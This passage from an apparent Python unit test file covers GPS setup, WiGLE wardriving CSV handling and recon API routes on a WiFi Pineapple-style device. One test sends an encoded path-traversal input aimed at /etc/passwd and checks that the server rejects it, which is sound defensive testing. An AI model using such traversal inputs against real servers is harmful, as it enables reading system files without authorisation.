return_value={'fix': 3, 'lat': 37.7, 'lon': -122.4, 'satellites': 8}):
data = server._gps_status_data_nocache()
self.assertEqual(data['lat'], 37.7)
self.assertEqual(data['satellites'], 8)
def test_configure_binds_preferred_device_and_locks(self):
candidates = [('1.2_1-1.2:1.0', '/dev/1.2'), ('1.3_2-1.3:1.0', '/dev/1.3')]
with mock.patch.object(server, '_gps_serial_candidates', return_value=candidates), \
mock.patch.object(server, '_uci_gps_get', return_value='1.3_2-1.3:1.0'), \
mock.patch.object(server, '_uci_gps_set') as uci_set, \
mock.patch.object(server, '_gpsd_restart'), \
mock.patch.object(server, 'time', mock.Mock(sleep=lambda s: None)), \
mock.patch.object(server, '_gps_from_gpspipe',
return_value={'fix': 3, 'lat': 37.7, 'lon': -122.4, 'satellites': 8}), \
mock.patch.object(server, '_gps_status_data_nocache', return_value={'present': True}):
status, data = server.h_recon_gps_configure(type('C', (), {'args': ()})())
self.assertEqual(status, 200)
self.assertTrue(data['lock'])
self.assertEqual(data['tried'], ['1.3_2-1.3:1.0'])
uci_set.assert_called_once_with('1.3_2-1.3:1.0')
def test_configure_no_candidates_errors(self):
with mock.patch.object(server, '_gps_serial_candidates', return_value=[]):
status, data = server.h_recon_gps_configure(type('C', (), {'args': ()})())
self.assertEqual(status, 200)
self.assertIn('error', data)
def test_configure_fallback_binds_first_with_note(self):
candidates = [('1.2_1-1.2:1.0', '/dev/1.2'), ('1.3_2-1.3:1.0', '/dev/1.3')]
with mock.patch.object(server, '_gps_serial_candidates', return_value=candidates), \
mock.patch.object(server, '_uci_gps_get', return_value=None), \
mock.patch.object(server, '_uci_gps_set'), \
mock.patch.object(server, '_gpsd_restart'), \
mock.patch.object(server, 'time', mock.Mock(sleep=lambda s: None)), \
mock.patch.object(server, '_gps_from_gpspipe', return_value=None), \
mock.patch.object(server, '_gps_status_data_nocache', return_value={'present': True}):
status, data = server.h_recon_gps_configure(type('C', (), {'args': ()})())
self.assertEqual(status, 200)
self.assertEqual(data['device'], '1.2_1-1.2:1.0')
self.assertIn('waiting for a fix', data['note'])
def test_configure_tries_at_most_three_candidates(self):
candidates = [(str(i), '/dev/%d' % i) for i in range(5)]
with mock.patch.object(server, '_gps_serial_candidates', return_value=candidates), \
mock.patch.object(server, '_uci_gps_get', return_value=None), \
mock.patch.object(server, '_uci_gps_set'), \
mock.patch.object(server, '_gpsd_restart'), \
mock.patch.object(server, 'time', mock.Mock(sleep=lambda s: None)), \
mock.patch.object(server, '_gps_from_gpspipe', return_value=None), \
mock.patch.object(server, '_gps_status_data_nocache', return_value={'present': True}):
status, data = server.h_recon_gps_configure(type('C', (), {'args': ()})())
self.assertEqual(status, 200)
self.assertEqual(data['tried'], ['0', '1', '2'])
class WigleTest(unittest.TestCase):
def setUp(self):
self.dir = tempfile.mkdtemp()
self._orig = server.WIGLE_DIR
server.WIGLE_DIR = self.dir
def tearDown(self):
server.WIGLE_DIR = self._orig
shutil.rmtree(self.dir)
def _ctx(self, args=(), body=None):
return type('C', (), {'args': args, 'body': body or {}})()
def _write(self, name, content):
with open(os.path.join(self.dir, name), 'w') as f:
f.write(content)
def test_file_rows_count_excludes_header(self):
self._write('a.csv', 'header\nr1\nr2\n')
self._write('b.csv', 'onlyheader\n')
status, data = server.h_recon_wigle_files(self._ctx())
self.assertEqual(status, 200)
files = {f['name']: f for f in data['files']}
self.assertEqual(files['a.csv']['rows'], 2)
self.assertEqual(files['b.csv']['rows'], 0)
self.assertEqual(files['a.csv']['size'], len('header\nr1\nr2\n'))
def test_file_rows_count_ignores_wigle_meta_and_header(self):
meta = 'WigleWifi-1.6,appRelease=0.0.0,model=pineapplepager,release=0.0.0\n'
header = 'MAC,SSID,AuthMode,FirstSeen,Channel,Frequency,RSSI,CurrentLatitude,CurrentLongitude\n'
self._write('empty.csv', meta + header)
self._write('full.csv', meta + header + 'AA:BB:CC:DD:EE:FF,test,0,,1,2412,-60,37.7,-122.4\n')
status, data = server.h_recon_wigle_files(self._ctx())
files = {f['name']: f for f in data['files']}
self.assertEqual(files['empty.csv']['rows'], 0)
self.assertEqual(files['full.csv']['rows'], 1)
def test_file_download(self):
self._write('wigle-1.csv', 'lat,lon\n37.7,-122.4\n')
status, payload = server.h_recon_wigle_file(self._ctx(('wigle-1.csv',)))
self.assertEqual(status, 200)
self.assertEqual(payload.filename, 'wigle-1.csv')
self.assertIn(b'37.7', payload.data)
def test_file_download_404_and_traversal(self):
status, payload = server.h_recon_wigle_file(self._ctx(('missing.csv',)))
self.assertEqual(status, 404)
status, payload = server.h_recon_wigle_file(self._ctx(('..%2F..%2Fetc%2Fpasswd',)))
self.assertEqual(status, 404)
def test_toggle_enable_and_disable(self):
with mock.patch.object(server, '_wigle_set', return_value=(200, {'ok': True})), \
mock.patch.object(server, 'hak5') as hak5, \
mock.patch.object(server, 'wigle_files_data',
return_value={'files': [{'name': 'w.csv'}]}):
status, data = server.h_recon_wigle(self._ctx(body={'enable': True}))
self.assertEqual(status, 200)
self.assertTrue(data['wigle'])
self.assertEqual(data['filename'], 'w.csv')
hak5.assert_called_once_with('WIGLE_START', timeout=10)
status, data = server.h_recon_wigle(self._ctx(body={'enable': False}))
self.assertEqual(status, 200)
self.assertFalse(data['wigle'])
hak5.assert_called_with('WIGLE_STOP', timeout=10)
class ReconRoutesTest(unittest.TestCase):
def test_new_routes_registered(self):
expected = [
('GET', '/api/recon/scans/1/download/csv', 'h_recon_scan_download_csv'),
('GET', '/api/recon/scans/1/download/html', 'h_recon_scan_download_html'),
('GET', '/api/recon/gps', 'h_recon_gps'),
('POST', '/api/recon/gps/configure', 'h_recon_gps_configure'),
('POST', '/api/recon/wigle', 'h_recon_wigle'),
('GET', '/api/recon/wigle/files', 'h_recon_wigle_files'),
('GET', '/api/recon/wigle/files/x.csv', 'h_recon_wigle_file'),
('GET', '/api/recon/archives', 'h_recon_archives'),
('GET', '/api/recon/archives/error-2026-08-18-19:21:42Z-recon.db/scans', 'h_recon_archive_scans'),
('GET', '/api/recon/archives/error-2026-08-18-19:21:42Z-recon.db/scans/1', 'h_recon_archive_scan_detail'),
('GET', '/api/recon/archives/error-2026-08-18-19:21:42Z-recon.db/scans/1/download/json', 'h_recon_archive_scan_download'),
('GET', '/api/recon/archives/error-2026-08-18-19:21:42Z-recon.db/scans/1/download/csv', 'h_recon_archive_scan_download_csv'),
('GET', '/api/recon/archives/error-2026-08-18-19:21:42Z-recon.db/scans/1/download/html', 'h_recon_archive_scan_download_html'),
]
for method, path, handler in expected:
h, args = server.ROUTER.dispatch(method, path)
self.assertIsNotNone(h, '%s %s' % (method, path))
self.assertEqual(h.__name__, handler, '%s %s' % (method, path))
def test_survey_routes_are_gone(self):
for method, path in [('GET', '/api/recon/survey/live'),
('POST', '/api/recon/survey/start'),
('GET', '/api/recon/surveys'),
('GET', '/api/recon/surveys/abc'),
('DELETE', '/api/recon/surveys/abc')]:
h, args = server.ROUTER.dispatch(method, path)
self.assertIsNone(h, '%s %s should not be registered' % (method, path))
def test_original_recon_routes_unchanged(self):
for path in ['/api/recon/start', '/api/recon/status', '/api/recon/scans',
'/api/recon/events']:
method = 'GET' if path.endswith(('status', 'scans', 'events')) else 'POST'
h, args = server.ROUTER.dispatch(method, path)
self.assertIsNotNone(h, path)